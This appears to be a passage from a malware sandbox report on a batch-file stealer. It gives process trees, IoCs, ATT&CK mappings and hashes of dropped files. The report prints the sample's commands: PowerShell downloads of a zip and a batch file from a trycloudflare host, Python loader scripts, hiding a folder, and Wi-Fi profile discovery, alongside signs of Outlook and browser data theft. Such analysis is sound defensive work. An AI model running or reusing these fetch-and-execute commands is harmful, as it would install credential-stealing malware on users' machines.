2828	notepad.exe
2828	notepad.exe

Suspicious behavior: MapViewOfSection 8 IoCs

pid	Process
5104	MicrosoftEdgeCP.exe
5104	MicrosoftEdgeCP.exe
5104	MicrosoftEdgeCP.exe
5104	MicrosoftEdgeCP.exe
5104	MicrosoftEdgeCP.exe
5104	MicrosoftEdgeCP.exe
5104	MicrosoftEdgeCP.exe
5104	MicrosoftEdgeCP.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
2432	python.exe
1204	python.exe
4036	python.exe
3668	python.exe
508	python.exe

Suspicious use of AdjustPrivilegeToken 15 IoCs

description	pid	Process
Token: SeDebugPrivilege	4580	powershell.exe
Token: SeDebugPrivilege	2836	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	2836	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	2836	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	2836	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	4340	powershell.exe
Token: SeDebugPrivilege	4752	powershell.exe
Token: SeDebugPrivilege	4340	powershell.exe
Token: SeDebugPrivilege	4320	notepad.exe
Token: SeDebugPrivilege	2488	notepad.exe
Token: SeDebugPrivilege	2828	notepad.exe
Token: SeDebugPrivilege	4580	notepad.exe
Token: SeDebugPrivilege	3580	powershell.exe
Token: SeDebugPrivilege	3352	powershell.exe
Token: SeDebugPrivilege	1300	notepad.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
2148	MicrosoftEdge.exe
5104	MicrosoftEdgeCP.exe
2836	MicrosoftEdgeCP.exe
5104	MicrosoftEdgeCP.exe
1300	notepad.exe
4580	notepad.exe
5584	MicrosoftEdgeCP.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3188 wrote to memory of 212	3188	cmd.exe	74
PID 3188 wrote to memory of 212	3188	cmd.exe	74
PID 3188 wrote to memory of 220	3188	cmd.exe	75
PID 3188 wrote to memory of 220	3188	cmd.exe	75
PID 3188 wrote to memory of 316	3188	cmd.exe	76
PID 3188 wrote to memory of 316	3188	cmd.exe	76
PID 3188 wrote to memory of 788	3188	cmd.exe	77
PID 3188 wrote to memory of 788	3188	cmd.exe	77
PID 3188 wrote to memory of 2432	3188	cmd.exe	78
PID 3188 wrote to memory of 2432	3188	cmd.exe	78
PID 3188 wrote to memory of 2232	3188	cmd.exe	79
PID 3188 wrote to memory of 2232	3188	cmd.exe	79
PID 3188 wrote to memory of 4532	3188	cmd.exe	80
PID 3188 wrote to memory of 4532	3188	cmd.exe	80
PID 3188 wrote to memory of 592	3188	cmd.exe	81
PID 3188 wrote to memory of 592	3188	cmd.exe	81
PID 3188 wrote to memory of 2136	3188	cmd.exe	82
PID 3188 wrote to memory of 2136	3188	cmd.exe	82
PID 3188 wrote to memory of 968	3188	cmd.exe	85
PID 3188 wrote to memory of 968	3188	cmd.exe	85
PID 3188 wrote to memory of 3944	3188	cmd.exe	86
PID 3188 wrote to memory of 3944	3188	cmd.exe	86
PID 3188 wrote to memory of 4580	3188	cmd.exe	87
PID 3188 wrote to memory of 4580	3188	cmd.exe	87
PID 5104 wrote to memory of 3204	5104	MicrosoftEdgeCP.exe	90
PID 5104 wrote to memory of 3204	5104	MicrosoftEdgeCP.exe	90
PID 5104 wrote to memory of 3204	5104	MicrosoftEdgeCP.exe	90
PID 5104 wrote to memory of 3204	5104	MicrosoftEdgeCP.exe	90
PID 5104 wrote to memory of 3204	5104	MicrosoftEdgeCP.exe	90
PID 5104 wrote to memory of 3204	5104	MicrosoftEdgeCP.exe	90
PID 5104 wrote to memory of 3204	5104	MicrosoftEdgeCP.exe	90
PID 5104 wrote to memory of 3204	5104	MicrosoftEdgeCP.exe	90
PID 5104 wrote to memory of 3204	5104	MicrosoftEdgeCP.exe	90
PID 5104 wrote to memory of 3204	5104	MicrosoftEdgeCP.exe	90
PID 5104 wrote to memory of 3204	5104	MicrosoftEdgeCP.exe	90
PID 3188 wrote to memory of 4340	3188	cmd.exe	92
PID 3188 wrote to memory of 4340	3188	cmd.exe	92
PID 3188 wrote to memory of 4752	3188	cmd.exe	93
PID 3188 wrote to memory of 4752	3188	cmd.exe	93
PID 3188 wrote to memory of 4340	3188	cmd.exe	94
PID 3188 wrote to memory of 4340	3188	cmd.exe	94
PID 3188 wrote to memory of 2432	3188	cmd.exe	95
PID 3188 wrote to memory of 2432	3188	cmd.exe	95
PID 2432 wrote to memory of 4320	2432	python.exe	96
PID 2432 wrote to memory of 4320	2432	python.exe	96
PID 2432 wrote to memory of 4320	2432	python.exe	96
PID 2432 wrote to memory of 4320	2432	python.exe	96
PID 2432 wrote to memory of 4320	2432	python.exe	96
PID 2432 wrote to memory of 4320	2432	python.exe	96
PID 2432 wrote to memory of 4320	2432	python.exe	96
PID 2432 wrote to memory of 4320	2432	python.exe	96
PID 2432 wrote to memory of 4320	2432	python.exe	96
PID 2432 wrote to memory of 4320	2432	python.exe	96
PID 2432 wrote to memory of 4320	2432	python.exe	96
PID 2432 wrote to memory of 4320	2432	python.exe	96
PID 2432 wrote to memory of 4320	2432	python.exe	96
PID 2432 wrote to memory of 4320	2432	python.exe	96
PID 2432 wrote to memory of 4320	2432	python.exe	96
PID 2432 wrote to memory of 4320	2432	python.exe	96
PID 2432 wrote to memory of 4320	2432	python.exe	96
PID 2432 wrote to memory of 4320	2432	python.exe	96
PID 2432 wrote to memory of 4320	2432	python.exe	96
PID 2432 wrote to memory of 4320	2432	python.exe	96
PID 2432 wrote to memory of 4320	2432	python.exe	96

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3524	attrib.exe

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	notepad.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	notepad.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3344
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\new.bat"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:3188
- - C:\Windows\system32\chcp.com
    chcp.com 437
    3⤵
    PID:212
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c type tmp
    3⤵
    PID:220
- - C:\Windows\system32\findstr.exe
    findstr /L /I set C:\Users\Admin\AppData\Local\Temp\new.bat
    3⤵
    PID:316
- - C:\Windows\system32\findstr.exe
    findstr /L /I goto C:\Users\Admin\AppData\Local\Temp\new.bat
    3⤵
    PID:788
- - C:\Windows\system32\findstr.exe
    findstr /L /I echo C:\Users\Admin\AppData\Local\Temp\new.bat
    3⤵
    PID:2432
- - C:\Windows\system32\findstr.exe
    findstr /L /I pause C:\Users\Admin\AppData\Local\Temp\new.bat
    3⤵
    PID:2232
- - C:\Windows\system32\find.exe
    find
    3⤵
    PID:4532
- - C:\Windows\system32\find.exe
    find
    3⤵
    PID:592
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c type tmp
    3⤵
    PID:2136
- - C:\Windows\system32\timeout.exe
    timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
    3⤵
    - Delays execution with timeout.exe
    PID:968
- - C:\Windows\system32\timeout.exe
    timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
    3⤵
    - Delays execution with timeout.exe
    PID:3944
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://australian-jews-wise-enhanced.trycloudflare.com/plat.zip' -OutFile 'C:\Users\Admin\Downloads\plat.zip' }"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4580
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://australian-jews-wise-enhanced.trycloudflare.com/plat.zip' -OutFile 'C:\Users\Admin\Downloads\plat.zip' }"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4340
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "& { Expand-Archive -Path 'C:\Users\Admin\Downloads\plat.zip' -DestinationPath 'C:\Users\Admin\Downloads' -Force }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4752
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "& { Expand-Archive -Path 'C:\Users\Admin\Downloads\plat.zip' -DestinationPath 'C:\Users\Admin\Downloads' -Force }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4340
- - C:\Users\Admin\Downloads\Python\Python312\python.exe
    python.exe x.py
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of WriteProcessMemory
    PID:2432
- - C:\Users\Admin\Downloads\Python\Python312\python.exe
    python.exe eu.py
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    PID:1204
- - C:\Users\Admin\Downloads\Python\Python312\python.exe
    python.exe blo.py
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    PID:4036
- - C:\Users\Admin\Downloads\Python\Python312\python.exe
    python.exe loader.py
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    PID:3668
- - C:\Users\Admin\Downloads\Python\Python312\python.exe
    python.exe hey.py
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    PID:508
- - C:\Windows\system32\timeout.exe
    timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
    3⤵
    - Delays execution with timeout.exe
    PID:2112
- - C:\Windows\system32\timeout.exe
    timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
    3⤵
    - Delays execution with timeout.exe
    PID:4840
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://australian-jews-wise-enhanced.trycloudflare.com/update.bat' -OutFile 'C:\Users\Admin\Downloads\update.bat' }"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3580
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://australian-jews-wise-enhanced.trycloudflare.com/update.bat' -OutFile 'C:\Users\Admin\Downloads\update.bat' }"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3352
- - C:\Windows\system32\attrib.exe
    attrib +h "C:\Users\Admin\Downloads\Python"
    3⤵
    - Views/modifies file attributes
    PID:3524
- C:\Windows\System32\notepad.exe
  C:\Windows\System32\notepad.exe
  2⤵
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of AdjustPrivilegeToken
  PID:4320
- C:\Windows\System32\notepad.exe
  C:\Windows\System32\notepad.exe
  2⤵
  - Accesses Microsoft Outlook profiles
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2488
- - C:\Windows\System32\cmd.exe
    "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:6120
  - - C:\Windows\System32\chcp.com
      chcp 65001
      4⤵
      PID:6088
  - - C:\Windows\System32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:6068
  - - C:\Windows\System32\findstr.exe
      findstr All
      4⤵
      PID:6060
- - C:\Windows\System32\cmd.exe
    "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
    3⤵
    PID:568
  - - C:\Windows\System32\chcp.com
      chcp 65001
      4⤵
      PID:4092
  - - C:\Windows\System32\netsh.exe
      netsh wlan show networks mode=bssid
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:1120
- C:\Windows\System32\notepad.exe
  C:\Windows\System32\notepad.exe
  2⤵
  - Accesses Microsoft Outlook profiles
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - outlook_office_path
  - outlook_win_path
  PID:2828
- - C:\Windows\System32\cmd.exe
    "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:5992
  - - C:\Windows\System32\chcp.com
      chcp 65001
      4⤵
      PID:5960
  - - C:\Windows\System32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:588
  - - C:\Windows\System32\findstr.exe
      findstr All
      4⤵
      PID:4712
- - C:\Windows\System32\cmd.exe
    "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
    3⤵
    PID:2296
  - - C:\Windows\System32\chcp.com
      chcp 65001
      4⤵
      PID:2872
  - - C:\Windows\System32\netsh.exe
      netsh wlan show networks mode=bssid
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:3332
- C:\Windows\System32\notepad.exe
  C:\Windows\System32\notepad.exe
  2⤵
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:1300
- C:\Windows\System32\notepad.exe
  C:\Windows\System32\notepad.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:4580

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:2148

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:488

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5104

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2836

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
PID:3204

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:3724

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
PID:4868

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5584

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:4104

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Filesize
4KB

MD5
1bfe591a4fe3d91b03cdf26eaacd8f89

SHA1
719c37c320f518ac168c86723724891950911cea

SHA256
9cf94355051bf0f4a45724ca20d1cc02f76371b963ab7d1e38bd8997737b13d8

SHA512
02f88da4b610678c31664609bcfa9d61db8d0b0617649981af948f670f41a6207b4ec19fecce7385a24e0c609cbbf3f2b79a8acaf09a03c2c432cc4dce75e9db

Download Submit
C:\Users\Admin\AppData\Local\7162ee236f1db6e172e47f7b0f2b9c28\Admin@DFZPKZRM_en-US\Browsers\Mozilla\Firefox\Bookmarks.txt

Filesize
105B

MD5
2e9d094dda5cdc3ce6519f75943a4ff4

SHA1
5d989b4ac8b699781681fe75ed9ef98191a5096c

SHA256
c84c98bbf5e0ef9c8d0708b5d60c5bb656b7d6be5135d7f7a8d25557e08cf142

SHA512
d1f7eed00959e902bdb2125b91721460d3ff99f3bdfc1f2a343d4f58e8d4e5e5a06c0c6cdc0379211c94510f7c00d7a8b34fa7d0ca0c3d54cbbe878f1e9812b7

Download Submit
C:\Users\Admin\AppData\Local\7162ee236f1db6e172e47f7b0f2b9c28\Admin@DFZPKZRM_en-US\System\Process.txt

Filesize
2KB

MD5
ce35cb61879704e22ae5048a3f9e5235

SHA1
2c20f1b32aa74e2f73946a8db6cae9e3f2afa537

SHA256
c6ae71bab11da6ab30358b63801c0a7a8513c8a67745cbcb1609edfec559df19

SHA512
e4fc23dcd531ef873b30658ab11909bf83182a15aa4ec7aa769b4330100314379d848b3cc83308649b99af089256d08943f2af3757e7f00391dbd6d8b1895ab0

Download Submit
C:\Users\Admin\AppData\Local\7162ee236f1db6e172e47f7b0f2b9c28\Admin@DFZPKZRM_en-US\System\Process.txt

Filesize
564B

MD5
6f082f85e08ac8129c7670b0f6675ecc

SHA1
897a83c184292e632ce4fa5dad6e467630a826f9

SHA256
9b26349959c4532038a6ed11ebe9032cd70c35619982c68fa82755be3e02fa70

SHA512
8a0bcde1ff24112cd20464090da7c8330645ba5ac9f1977d9023cae4cf59f6307d3309bff4132272a7624fba0b20ef6424a46e1b7786716af23118696f20c01e

Download Submit
C:\Users\Admin\AppData\Local\7162ee236f1db6e172e47f7b0f2b9c28\Admin@DFZPKZRM_en-US\System\Process.txt

Filesize
1KB

MD5
5c53864dd1af5bb6d42524f8fa2cbe0a

SHA1
8428bf13e19bdf6825ba704c4898d178081859ab

SHA256
200d4f2c1e7657780c08f62aa84fc738e4956fd0b3516593ae20dbc994b6a5eb

SHA512
3be7312715ded643ca150f82a7ab470cd106d4874f9c8075846eb64ef86567c3162986b1179c34d28a04c32b68b70fedbd9c9d318980427cac328e06e71f671e

Download Submit
C:\Users\Admin\AppData\Local\7162ee236f1db6e172e47f7b0f2b9c28\Admin@DFZPKZRM_en-US\System\Process.txt

Filesize
2KB

MD5
d1a115bf34c20349646da12dbea87ca7

SHA1
27ed709ec826e9f2bccce2da498445e7fd26a946

SHA256
2544f256c404d4df68f12cb395b42de0fc3ac3ae881020eb48de7583bba7a8ab

SHA512
141d38ff16f655ea1baba44760f7f9542605bb55a9460ee3c64895b2110e388680695de7996e7bea1407ade3ce74dea23cbe2167a2c5c065d46eb3751c0219f7

Download Submit
C:\Users\Admin\AppData\Local\7162ee236f1db6e172e47f7b0f2b9c28\Admin@DFZPKZRM_en-US\System\Process.txt

Filesize
3KB

MD5
2d925a15e5e0bb82b5c932449d864fb7

SHA1
0c64a0e9149e91df8799acf74659a03596f827bc

SHA256
191161dbce85986ab8746544a5fdbb2b523d8a58b141ddb7ac0fb5abf1c80c7b

SHA512
91a7e4c4cd174d69baab81b870953ee0d3f1ef95588b582e6cad50672c99a99381a801c3d7d3d4152c2e73815a35e53020e72e062ae1d75a1bdacc0039da619d

Download Submit
C:\Users\Admin\AppData\Local\7162ee236f1db6e172e47f7b0f2b9c28\Admin@DFZPKZRM_en-US\System\Process.txt

Filesize
5KB

MD5
66e32b0a6e5563d4619ca70e14759da6

SHA1
2db6bbe27bcd8d81d0447cd1951781e81215e5e6

SHA256
d3351bba5159dcbc381aa1380e5208d50cb32a711e7e81124a20b444b36e7235

SHA512
11b17dec142ebf6d0b7c6b1ec1baf8121fabfd9c9bfbdb00b3b98cb2538faeda86ff392a66a14fc5ad3f3a869862e09c310f1d3353fa607f50545905930987bb

Download Submit
C:\Users\Admin\AppData\Local\MicrosoftEdge\SharedCacheContainers\MicrosoftEdge_iecompat\IECompatData.xml

Filesize
74KB

MD5
d4fc49dc14f63895d997fa4940f24378

SHA1
3efb1437a7c5e46034147cbbc8db017c69d02c31

SHA256
853d2f4eb81c9fdcea2ee079f6faf98214b111b77cdf68709b38989d123890f1

SHA512
cc60d79b4afe5007634ac21dc4bc92081880be4c0d798a1735b63b27e936c02f399964f744dc73711987f01e8a1064b02a4867dd6cac27538e5fbe275cc61e0a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
56efdb5a0f10b5eece165de4f8c9d799

SHA1
fa5de7ca343b018c3bfeab692545eb544c244e16

SHA256
6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

SHA512
91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
798f27c7f52195aaf54ac60ebbc3c953

SHA1
9ac46ec93c021ea7edafdef013faedb94728f7dc

SHA256
457682998f0605f936e5df2513f98419c9e0d255cebd10d6e85bb3568a43eadd

SHA512
7b680cea7bc4552872230b90fe6548c6987b9d324776773904e5a2a28fb8991875d67d951808355b967a00c4bc42a1eae29e2e1a58d1fb4d5d3677a87c61928f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
dcc435fb03ac2738391660625eda47a9

SHA1
f2062419284b6f307203095d1acaaabb66250486

SHA256
a70850a2c8a7edb85cf02ec5e587c19a3e2ad3a209c9e6be4903eae4f62c2cb9

SHA512
c2156834eac1f967c83edb0599db40da57c87c703a79046b0db21a41e486b4fc55ea2ddfc5612da9bb90d3e2d73d73c3ade74f135d4720045cd091f882ee7ebf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
0f9150293d7fc9df6d1f7892b6846bb3

SHA1
122d2dac1cb610303641b2a42ace507fbdd6e82b

SHA256
2ae8159707311ea289c9943c5797ed8045cb6a8a9b681b01cd224b96e192309a

SHA512
b40ce1c57459b7ad2091313d257d8c7ff7970f277c16ebfde47684a8538c578cbe287b6ed87a58e69dca1e12301f321b9cc9d6d141ddd73ad73417df13330740

Download Submit
C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\MicrosoftEdge\Cache\8FUTTVB5\favicon[1].ico

Filesize
758B

MD5
84cc977d0eb148166481b01d8418e375

SHA1
00e2461bcd67d7ba511db230415000aefbd30d2d

SHA256
bbf8da37d92138cc08ffeec8e3379c334988d5ae99f4415579999bfbbb57a66c

SHA512
f47a507077f9173fb07ec200c2677ba5f783d645be100f12efe71f701a74272a98e853c4fab63740d685853935d545730992d0004c9d2fe8e1965445cab509c3

Download Submit
C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\MicrosoftEdge\Cache\UOFVCGLB\suggestions[1].en-US

Filesize
17KB

MD5
5a34cb996293fde2cb7a4ac89587393a

SHA1
3c96c993500690d1a77873cd62bc639b3a10653f

SHA256
c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad

SHA512
e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qniegu0t.2xz.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Local\Temp\ce3ed400-d1e84918ad678b08d2a369a3-Latest.log

Filesize
4KB

MD5
296613be1383b06e3f2179cfe85e8498

SHA1
e4076d0110804ef027cd64fb8582cb77a8c39d30

SHA256
7c9bda8bc1a209b4df25f216719b681e1e52d9b89476ac7cac9e7bc9ce9de558

SHA512
64a1e821a248fd5a0dde2018987197931d41d6d524ac8d47f351758c3116c3cdef151f6f2bf3efbfe162e315282504fb152936354a009d920e97623712f74885

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp

Filesize
14B

MD5
ce585c6ba32ac17652d2345118536f9c

SHA1
be0e41b3690c42e4c0cdb53d53fc544fb46b758d

SHA256
589c942e748ea16dc86923c4391092707ce22315eb01cb85b0988c6762aa0ed3

SHA512
d397eda475d6853ce5cc28887690ddd5f8891be43767cdb666396580687f901fb6f0cc572afa18bde1468a77e8397812009c954f386c8f69cc0678e1253d5752

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp9C03.tmp.dat

Filesize
92KB

MD5
3daad470df391b2f80f1355a73f49b47

SHA1
fd3d71f1d5bcca2c56518cdb061fc1e0a2465dec

SHA256
a0732dc29331aee2809c08b9dd1bbddcfd6badc2b90a932b1e5c220d573e7b08

SHA512
